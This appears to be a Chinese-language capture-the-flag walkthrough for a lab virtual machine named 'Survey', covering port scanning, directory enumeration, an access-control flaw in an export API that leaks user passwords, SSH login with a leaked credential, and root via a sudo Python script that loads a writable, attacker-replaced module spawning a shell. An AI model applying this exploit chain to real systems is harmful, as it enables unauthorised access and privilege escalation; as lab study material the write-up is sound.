

user

```
nmap -sV -A -p1-65535 192.168.10.127
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2026-03-02 02:44 EST
Nmap scan report for 192.168.10.127
Host is up (0.00031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
3000/tcp  open  http     Werkzeug httpd 1.0.1 (Python 3.9.2)
| http-title:
Maze\\xE5\\x9B\\xA2\\xE9\\x98\\x9F\\xE6\\x88\\x90\\xE5\\x91\\x98\\xE4\\xBF\\xA1\\
xE6\\x81\\xAF\\xE8\\xB0\\x83\\xE6\\x9F\\xA5
|_Requested resource was <http://192.168.10.127:3000/fill>
MAC Address: 08:00:27:08:C4:49 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.31 ms  192.168.10.127

OS and Service detection performed. Please report any incorrect results at
<https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 22.50 seconds
```

3000端口

```
└─(kali㉿kali)-[~]
└─$ gobuster dir -u <http://192.168.10.127:3000> -w
/usr/share/wordlists/dirb/common.txt

=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: <http://192.168.10.127:3000>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
```

```
=====
Starting gobuster in directory enumeration mode
=====
api                (Status: 200) [Size: 80]
view               (Status: 400) [Size: 12]
Progress: 4613 / 4613 (100.00%)
=====
Finished
=====
```

view可以访问自己填的id

只校验第一个session

```
<http://192.168.10.127:3000/api/export?id=15,1,2,3,4,5,6>
```

返回

```
_meta
query_type  "batch"
data
0
member_user_id  "'1=1'"
survey_id      15
system_password "'1=1'"
1
member_user_id  "fake_member_1"
survey_id      1
system_password "P@ss_fake_1!!"
2
member_user_id  "fake_member_2"
survey_id      2
system_password "P@ss_fake_2!!"
3
member_user_id  "fake_member_3"
survey_id      3
system_password "P@ss_fake_3!!"
4
member_user_id  "fake_member_4"
survey_id      4
system_password "P@ss_fake_4!!"
5
member_user_id  "fake_member_5"
survey_id      5
system_password "P@ss_fake_5!!"
status         "success"
6
member_user_id  "x3x"
survey_id      6
system_password "p@ssw0rd_x3x"
```

用第六个连上ssh, 拿到user

root

```
x3x@Survey:~$ sudo -l
Matching Defaults entries for x3x on Survey: env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User x3x may run the following commands on Survey: (root) NOPASSWD:
/usr/bin/python3 /opt/maze_admin/generate_report.py
x@Survey:~$ cat /opt/maze_admin/generate_report.py
import os
import sys
import time
sys.path.insert(0, "/opt/maze_admin/libs")
# 加载自定义的格式化组件
import report_formatter print("[*] 正在启动 Maze 团队日志分析模块...")
time.sleep(1)
report_formatter.print_header()
print("[*] 分析完成，未发现异常日志。")
```

root执行脚本时会优先从"/opt/maze_admin/libs"里加载模块执行report_formatter，往里写

```
echo 'import os; os.system("/bin/bash")' >
/opt/maze_admin/libs/report_formatter.py
sudo /usr/bin/python3 /opt/maze_admin/generate_report.py
```

执行完拿到root